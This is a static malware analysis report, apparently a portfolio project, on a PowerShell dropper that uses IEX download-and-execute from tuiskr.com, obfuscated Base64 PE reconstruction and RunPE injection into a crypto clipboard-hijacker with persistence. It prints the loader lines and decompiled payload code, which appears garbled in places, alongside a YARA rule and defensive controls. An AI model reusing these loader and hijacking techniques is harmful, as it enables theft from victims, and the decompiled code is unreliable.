
SECURITY ASSESSMENT

PowerShell Fake Download

Dropper Analysis

Malware Triage / Static Analysis

Oscar

Original analysis: 3 September 2026

Report updated: 10 September 2026

Portfolio Project

Educational static analysis, hashes only.

Summary

Static analysis of install.ps1 identified a multi-stage PowerShell loader using remote script, Invoke-Expression, obfuscation, Base64 decoding, and a dynamically constructed .NET/RunPE logic. The embedded payload was identified as a .Net/C# executable containing functionality for cryptocurrency clipboard-hijacking, persistence and possible cryptocurrency mining.

01 – Executive Summary

A PowerShell script named `install.ps1` was discovered in the Downloads folder of a victim host machine. Static analysis identified a multi-stage PowerShell loader that retrieves a second stage script, executes downloaded content through Invoke-Expression (IEX), uses string obfuscation and Base64 encoding, and dynamically constructs .NET functionality associated with in-memory execution. The analysis was performed in an isolated environment without executing the sample.

Assessment	Malware Triage
Sample	<code>install.ps1</code>
SHA-256	2e818316247e6ebaf479babfdbb0bcc646fb53eaa2b4a8b1730969299a704abf
Environment	Isolated VM
Classification	Malicious / Suspicious
ATT&CK	T1059.001, T1027, T1105, T1547.001, T1496

01.1 Key Findings

Finding	Evidence	Confidence
PowerShell execution	IEX, hidden PowerShell Process	High
Remote payload retrieval	<code>WebClient.Downloadstring()</code>	High
Obfuscation	Placeholder replacement + Base64 encoded	High
PE payload	MZ / PE\0\0 headers	High
RunPE behavior	<code>RunPe.RunPe</code> , <code>AppDomain.Load</code>	High
Clipboard hijacking	Address matching/replacement logic	High
Registry persistence	Registry run key creation	High
Scheduled task	Scheduled task creation logic	High
Cryptocurrency mining	<code>StartMiner()</code>	Medium

C2	Domain observed in loader	Low/Unconfirmed
----	---------------------------	-----------------

02 – Static Analysis

```
remnux@remnux:~/malware/powershell/scam$ l
install.ps1
remnux@remnux:~/malware/powershell/scam$
```

Filename	install.ps1
SHA-256	2e818316247e6ebaf479babfdbb0bcc646fb53eaa2b4a8b1730969299a704abf
Source	Victim Downloads folder
Analysis environment	REMnux
Execution performed	No

QUICK OBSERVATION

The analyzed file is a PowerShell script named **install.ps1**. At this stage, the analysis was performed statically, without executing the sample's script or binary.

03 – Script Structure

03.1 – Stage 1

```
install.ps1
1 IEX (New-Object Net.WebClient).DownloadString('https://tuiskr.com/cjr1.jpg')
2
```

The first stage uses IEX (Invoke-Expression). Its purpose is to execute PowerShell code contained in a string.

```
PS C:\WINDOWS\system32> get-alias iex
```

CommandType	Name	Version	Source
Alias	iex -> Invoke-Expression		

```
PS C:\WINDOWS\system32>
```

IEX is a PowerShell alias of Invoke-Expression as an easier way of writing it. In this sample, it is used to execute content that is retrieved as a string.

The script uses the .NET System.Net.WebClient object and DownloadString to retrieve /cjr1.jpg from tuiskr.com as text rather than as a normally saved file. The returned content is then passed directly to IEX for execution as PowerShell code. This means the first-stage payload is retrieved and executed without first being written to disk as a separate file.

03.2 – Stage 2

The content retrieved from /cjr1.jpg is another PowerShell script, despite the .jpg file extension.

```
1
2 $isConsole = [Console]::WindowWidth -ne 0
3 if ($isConsole) {
4     $scriptPath = $PSCommandPath
5     if (-not $scriptPath) {
6         $tempScript = [System.IO.Path]::GetTempFileName() + ".ps1"
7         $MyInvocation.MyCommand.ScriptBlock.ToString() | Out-File -FilePath $tempScript -Encoding utf8
8         $scriptPath = $tempScript
9     }
10    $psi = New-Object System.Diagnostics.ProcessStartInfo
11    $psi.FileName = "powershell.exe"
12    $psi.Arguments = "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$scriptPath`""
13    $psi.UseShellExecute = $false
14    $psi.CreateNoWindow = $true
15    $psi.RedirectStandardOutput = $true
16    $psi.RedirectStandardError = $true
17    [System.Diagnostics.Process]::Start($psi) | Out-Null
18    exit
19 }
20
21
```

The script checks whether it is running in a console environment. If the required script path information is unavailable, which can occur when the payload is executed through IEX, the script writes its current script block to a temporary .ps1 file inside of the user's AppData folder. It then creates a new PowerShell process with the execution policy bypassed, hides the window, and redirects standard output and error streams to hide itself from the user. The original process then terminates. This behavior appears to be intended to relaunch the script in a hidden PowerShell process and allow execution to continue under different conditions.

```

$LzWPz = '$$$$';
$sbBkV = 'A';

$ummtu = 'TVqQ$$$$$M$$$$$E$$$$$//8$$$$$Lg$$$$$Q$$$$$';
[Byte[]] $laWwJ = [System.Convert]::FromBase64String( $ummtu );

$jotinha = 'TVqQ$$$$$M$$$$$E$$$$$//8$$$$$Lg$$$$$Q$$$$$';
[Byte[]] $encodedServerUrl = [System.Convert]::FromBase64String( $jotinha );

```

After the logic above, the script defines variables containing strings and a large, obfuscated data blob. The structure appears to make the underlying content harder to read during analysis and may also interfere with simple detection techniques. At the end of the big variables, the built in PowerShell string-replacement syntax is used to reconstruct the encoded content.

```

$$$$$$$$$$$$$.replace( $LzWPz, $sbBkV );

```

```

function d64($str) {
    return [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($str))
}

```

The script replaces occurrences of \$\$\$\$ in the obfuscated blob with the letter A. This is used to reconstruct a Base64 string, which is then decoded. The script performs a similar process with another large blob, which is also reconstructed and Base64-decoded later in the execution chain.

```

$iexCmd = [char]73 + [char]69 + [char]88
Set-Alias execMem $iexCmd

```

The script then constructs the text corresponding to IEX (Invoke-Expression) and creates an alias for it named execMem. This is likely done to confuse both analysts and endpoint detection systems. The alias is subsequently used to invoke the dynamically constructed PowerShell content.

```

9 $pattern1 = '#R1#'
10 $pattern2 = '#R2#'
11 $pattern3 = '#R3#'
12
13
14
15 $appDomainStr = '[System.App#R1#]'.Replace($pattern1, 'Domain') | & ($iexCmd)
16 $getCurrentDomain = $appDomainStr.GetMethod('get_CurrentDomain')
17

```

Additional variables containing placeholder values such as #R1#, #R2#, and #R3# are used to construct a .NET command dynamically. The script replaces the placeholders with values including [System.AppDomain] and then uses IEX to execute the resulting command.

```
$invokeStr = '$getCurrentDomain.In#R2#ke($null,$null)'.Replace($pattern2, 'vo') | & ($iexCmd)
$domain = $invokeStrS

$loadStr = '$domain.Load($laWwJ)' | & ($iexCmd)
$loadDll = $loadStr

$windir = 'Windows'
$sysdir = 'syswow64'
$psdir = 'WindowsPowerShell'
$version = 'v1.0'
$exename = 'PowerShell ISE.exe'
```

Near the end of the script, additional .NET-related strings are constructed by replacing the earlier junk values. One of these variables resolves a call involving the current AppDomain. The script then uses domain.Load with decoded data from the earlier Base64 stage. It also constructs variables to Windows paths and the name PowerShell_ISE.exe, which is the Windows built-in PowerShell ISE executable.

```
$finalPath = "C:\$windir\$sysdir\$psdir\$version\$exename"

$runpeClass = [RunPE.RunPE]
$runpeClass::Execute($finalPath, $encodedServerUrl)
```

The script combines all the previously constructed paths into the following path: C:\Windows\syswow64\WindowsPowerShell\v1.0\PowerShell_ISE.exe. The script then uses this path as part of its RunPE logic. This is a real path on default Windows machines.

Finally, the script creates a variable containing the .NET RunPE functionality and uses [RunPE.RunPE] with the decoded data and the constructed PowerShell ISE path. This shows an attempt to use a legitimate Windows executable as the host process for the decoded PE content.

03.3 Final Payload Analysis

```
static void Main(string[] args)\n{\n    Startup();\n    Persistence();\n    StartMiner();\n    static void StartMiner()\n    {\n        string pathm = Path.Combine(Path.GetTempPath(), "mineworm.bat");\n        string bat = Path.Combine(pathm, "mineworm.bat");\n        string exe = Path.Combine(pathm, "miner.exe");\n        int threadint = Int32.Parse("%threads%");\n        string CPU = exe + " -o %pool% -u %user% -p %password% -a %algo% -t " + threadint;\n        Process proc = new Process();\n        proc.StartInfo.FileName = "powershell";\n        proc.StartInfo.Arguments = args + " & exit";\n        proc.Start();\n        public static void shell_execute(CPU)\n        {\n            CreateNoWindow = true;\n            var process = new Process();\n            process.StartInfo.FileName = "cmd";\n            process.StartInfo.Arguments = "/C " + cmd;\n            process.Start();\n            static void Persistence()\n            {\n                string pathm = Path.Combine(Path.GetTempPath(), "mineworm.bat");\n                string bat = Path.Combine(pathm, "mineworm.bat");\n                string exe = Path.Combine(pathm, "miner.exe");\n                string pathm = Path.Combine(Path.GetTempPath(), "mineworm.bat");\n                string bat = Path.Combine(pathm, "mineworm.bat");\n                string exe = Path.Combine(pathm, "miner.exe");\n                //Directory.CreateDirectory(startupdir);\n                File.SetAttributes(pathm, FileAttributes.Hidden | FileAttributes.ReadOnly);\n                File.Copy(Assembly.GetEntryAssembly().Location, myself + "SystemProcess.exe");\n                File.SetAttributes(startupdir + "SystemProcess.exe", FileAttributes.Hidden | FileAttributes.ReadOnly);\n                File.SetAttributes(System | FileAttributes.Hidden);\n                Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);\n                key.SetValue("Onedrive", myself);\n                Application.Run(new ClipboardNotificationForm());\n                new Thread(() => { Run(); }).Start();\n                public static void Run()\n                {\n                    Application.Run(new ClipboardNotificationForm());\n                    internal static class Addresses\n                    {\n                        public readonly static string btc = "[BTC]";\n                        public readonly static string xmr = "[XMR]";\n                        internal static class PatternRegex\n                        {\n                            public readonly static Regex btc = new Regex(@"\\b[0-9a-f]{26,35}\\b");\n                            public readonly static Regex xmr = new Regex(@"\\b[0-9a-f]{26,35}\\b");\n                            internal static class NativeMethods\n                            {\n                                public const int WM_CLIPBOARDUPDATE = 0x031D;\n                                public static IntPtr hWndMessage = new IntPtr(0);\n                                [DllImport("user32.dll", SetLastError = true)]\n                                public static extern bool SetParent(IntPtr hWndChild, IntPtr hWndNewParent);\n                                internal static class Clipboard\n                                {\n                                    public static string GetText()\n                                    {\n                                        string ReturnVal = string.Empty;\n                                        Thread STAThread = new Thread(delegate { Run(); }).Start();\n                                        STAThread.Join();\n                                        return ReturnVal;\n                                    }\n                                    public static void SetText(string txt)\n                                    {\n                                        Thread STAThread = new Thread(delegate { Run(); }).Start();\n                                        STAThread.Join();\n                                        return ReturnVal;\n                                    }\n                                }\n                                private class NotificationForm : Form\n                                {\n                                    private bool RegexResult(Regex pattern)\n                                    {\n                                        if (pattern.Match(currentClipboard).Success) return true;\n                                        else\n                                        {\n                                            protected override void WndProc(ref Message m)\n                                            {\n                                                if (m.Msg == NativeMethods.WM_CLIPBOARDUPDATE)\n                                                {\n                                                    currentClipboard = Clipboard.GetText();\n                                                    if (RegexResult(PatternRegex.ethereum) && !currentClipboard.Contains(Addresses.ethereum))\n                                                    {\n                                                        string result = PatternRegex.btc.Replace(currentClipboard, Addresses.btc);\n                                                        Clipboard.SetText(result);\n                                                    }\n                                                    if (RegexResult(PatternRegex.xmr) && !currentClipboard.Contains(Addresses.xmr))\n                                                    {\n                                                        string result = PatternRegex.xmr.Replace(currentClipboard, Addresses.xmr);\n                                                        Clipboard.SetText(result);\n                                                    }\n                                                }\n                                            }\n                                        }\n                                    }\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n        }\n    }\n}
```

The decoded PE contains functionality for monitoring the Windows clipboard for cryptocurrency addresses, including bitcoin, ethereum, and monero which is registered through `AddClipboardFormatListener`. When a matching address is found, the clipboard content can be replaced with another address. It also contains crypto mining features such as `StartMiner()`; and even persistence such as the `startup()`; function.

The payload also contains several persistence mechanisms, including a scheduled task and a Windows Registry Run key. It additionally uses hidden/system file attributes and hidden process execution.

These findings are consistent with **cryptocurrency clipboard hijacking and malicious persistence behavior**. Dynamic analysis was not made to further solidify this claim.

04 – Network & Infrastructure Analysis

We first conduct a WHOIS lookup on the stage 1 domain: “tuiskr[.]com”

```
Domain Name: TUISKR.COM
Registry Domain ID: 3131384210_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.namecheap.com
Registrar URL: http://www.namecheap.com
Updated Date: 2026-08-12T15:28:46Z
Creation Date: 2026-08-12T15:28:37Z
Registry Expiry Date: 2027-08-12T15:28:37Z
Registrar: NameCheap, Inc.
Registrar IANA ID: 1068
Registrar Abuse Contact Email: abuse@namecheap.com
Registrar Abuse Contact Phone: +1.6613102107
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Name Server: DNS1.NAMECHEAPHOSTING.COM
Name Server: DNS2.NAMECHEAPHOSTING.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2026-09-03T12:50:42Z <<<

For more information on Whois status codes, please visit https://icann.org/epp
```

The URL is registered via namecheap[.]com, and the registration date being at the 12 of august 2026. We also conducted a Cloudflare URL Scanner on the full-length URI in the stage 1 code. With the location being the USA.

Summary

Domain
tuiskr.com

CIPA Filter File Sharing New Domains Newly Seen Domains Malware
Report Miscategorization
View live domain categorization
Rank
Top >200000 domains

Security Verdict

Malicious

Security violations

None found

Certificates

1 Found

This website contacted 1 IP address in 1 country across 1 domain to make 2 HTTP requests. The main IP is 66.29.141.136, located in the United States and belongs to NAMECHEAP-NET. The main domain is tuiskr.com.

As we can see, the website has its own SSL Certificate. Although this cert is noticeably newer (2nd of September 2026). The short gap between the date of the SSL Certification and attack shows a very disposable/burner-style domain setup. Although this does not alone explain that the certificate was created specifically for this campaign.

Certificates - 1 found

SSL/TLS Certificates enable websites to encrypt transactions between the client and the server and provide server identity verification

Subject	Issue date	Expiry date
tuiskr.com	Sep 2, 2026, 19:38:00	Sep 3, 2027, 19:38:00

This Domain/URL may have served as delivery infrastructure and could have been used as a C2 (command and control server) after the payload had been executed on a victim’s machine. All though no C2 behavior was observed because only static analysis was performed.

DOWN

Tuiskr.com is DOWN for everyone.
It is not just you. The server is not responding...

Update 10/09/26 18:30 UTC+2 the domain/URL “tuiskr[.]com” has been taken down. This further supports the earlier assessment of disposable, evasion-oriented infrastructure.

Stage 2 Payload Decoding

The large, obfuscated strings identified in Stage 2 were reconstructed by replacing the \$\$\$\$ placeholder sequences with the expected character A. The resulting strings were then Base64-decoded.

The decoded data was found to begin with the MZ header and contained the PE\0\0 signature, confirming that the decoded blob is a Windows Portable Executable (PE) file rather than ordinary PowerShell source code.

The payload also contains standard PE sections including .text, .rsrc, and .reloc. This shows that the Stage 2 data contain a complete executable module embedded inside the PowerShell loader.

This finding gives more evidence that the PowerShell script functions as a staged loader. The initial PowerShell code gets and reconstructs the payload, while the obfuscated Base64 blob contains a separate PE payload intended for subsequent execution or loading.

The payload was identified through static analysis and was not executed during this stage of the investigation. More analysis would be needed to determine whether the PE is executable or DLL, identify its architecture, inspect its imports and metadata, dynamic analysis so actually detonating it in a safe sandbox environment, and determining its final functionality.

06 – ATT&CK Mapping

The following ATT&CK techniques are supported by evidence identified during static analysis. Because the sample was never executed, mappings that depend on runtime behavior are explained carefully.

T1059.001 – Command and Scripting Interpreter: PowerShell

The sample uses PowerShell throughout the execution chain, including IEX (Invoke-Expression), a hidden PowerShell process (-WindowStyle Hidden), and dynamically built PowerShell commands.

T1027 – Obfuscated Files or Information

The second-stage script contains large, obfuscated strings, placeholder replacement, dynamically constructed commands, fake PowerShell alias for iex, and other techniques intended to make the script harder to read, understand and detect.

T1027.013 – Obfuscated Files or Information: Encoded File

Base64 encoded data is remade from the obfuscated strings and decoded before being used later in the execution chain.

T1105 – Ingress Tool Transfer

The first stage retrieves additional content from a remote web server using System.Net.WebClient and DownloadString. MITRE ATT&CK documents PowerShell-based remote retrieval as an example of this technique.

T1564.003 – Hide Artifacts: Hidden Window

The script creates a PowerShell process with its window hidden. This is consistent behavior with the ATT&CK Hidden Window sub technique although note the full runtime effect was not independently observed.

T1547.001 –AutoStart Execution: Registry Run Keys / Startup Folder

In stage3 persistence is made via a Windows Registry Run key so the payload executes automatically at logon.

T1053.005 – Scheduled Task/Job: Scheduled Task

A scheduled task is created as a secondary persistence mechanism, redundant to the Run key.

T1564.001 – Hide Artifacts: Hidden Files and Directories

The dropped file is set with hidden/system file attributes to reduce visibility in normal explorer directory listings.

T1036.005 – Masquerading: Match Legitimate Name or Location

The dropped payload is named/placed to look like a legitimate Windows component (the powershell_ise name), intended to blend in during casual inspection.

T1496 – Suspected Resource Hijacking

Static evidence shows possible cryptocurrency mining functionality through the function of StartMiner(). This was not confirmed through execution, though this is based on the function name/static structure only since dynamic analysis was not started.

07 – Detection (YARA Rule)

Based on the static analysis above, I've written a YARA rule to detect the PowerShell dropper and for similar variants using the same obfuscation technique. (There is also the linked .yar file in this GitHub repo).

```

1 import "pe"
2
3 rule PS_Dropper_ObfuscatedRunPE_TuiskrStyle : dropper powershell obfuscation
4 {
5     meta:
6         description = "Detects obfuscated PowerShell loader using $$$ placeholder encoding and RunPE style .NET injection"
7         author = "Oscar"
8         date = "2026-09-12"
9         threat_level = 8
10        reference = "install.ps1 - tuiskr.com dropper, static analysis"
11        hash = "2e818316247e6ebaf479babfdbb0bcc646fb53eaa2b4a8b1730969299a704abf"
12
13    strings:
14        $iex_download = "Net.WebClient" ascii
15        $iex_call = "DownloadString" ascii
16        $placeholder = "$$$$" ascii
17        $runpe = "RunPE" ascii nocase
18        $ise_masquerade = "PowerShell_ISE.exe" ascii
19        $exec_alias = "Set-Alias" ascii
20
21    condition:
22        4 of ($iex_download, $iex_call, $placeholder, $runpe, $ise_masquerade, $exec_alias)
23        and filesize < 500KB
24 }

```

As we can see we have a condition that requires 4 of 6 indicators to come back as a match so not exactly hash only detection rule.

08 – Recommended Controls

The controls below are based on the behaviors identified during static analysis and are intended to reduce the likelihood and impact of similar PowerShell-based attacks.

PowerShell logging and monitoring

Enable PowerShell Script Block Logging, module logging, and appropriate command-line telemetry. This can improve visibility in suspicious use of Invoke-Expression, encoded content, and dynamically constructed commands.

Constrain PowerShell execution

Use application control and PowerShell security controls such as Constrained Language Mode where appropriate. Limit scripting capabilities for users and systems that do not require unrestricted PowerShell execution.

Application control / allowlisting

Use controls such as Windows Defender Application Control or AppLocker to restrict unauthorized scripts and executables. Pay particular attention to unexpected execution from user-writable and temporary locations.

Endpoint detection and response

Monitor for suspicious process chains involving PowerShell, hidden windows, unusual parent-child relationships, and execution of decoded or newly created PE content.

Network egress and DNS monitoring

Monitor outbound connections from PowerShell and other scripting interpreters. Investigate uncommon domains, unexpected script retrieval, and requests where the returned content does not match the apparent file type or expected application behavior.

User awareness and least privilege

Reduce unnecessary administrative privileges and train users to treat unexpected installers, scripts, and files with misleading extensions as suspicious.

09 – Limitations

This analysis was only static and therefore cannot establish the complete runtime of this sample.

The sample was not executed

No sandbox or live execution was performed on the sample. Process creation, network traffic, persistence, payload execution, and other runtime effects were therefore not independently observed.

Analysis stopped at the identified PE payload

Payload functionality was identified through static decompilation of the embedded .NET assembly. The sample was not dynamically executed, so runtime behavior, network callbacks, and full code execution paths were not observed.

Network activity was not dynamically validated

The identified domain and resource path were observed in the script, but this assessment does not establish whether the infrastructure was still active, what content it would return at another point in time, or whether additional infrastructure exists. Though a later manual check on 10/09/26 confirmed the domain had gone offline.

Static interpretation has uncertainty

Some behaviors were inferred from code structure rather than observed during execution. ATT&CK mappings and behavioral conclusions should therefore be treated as evidence-based assessments rather than complete runtime verification.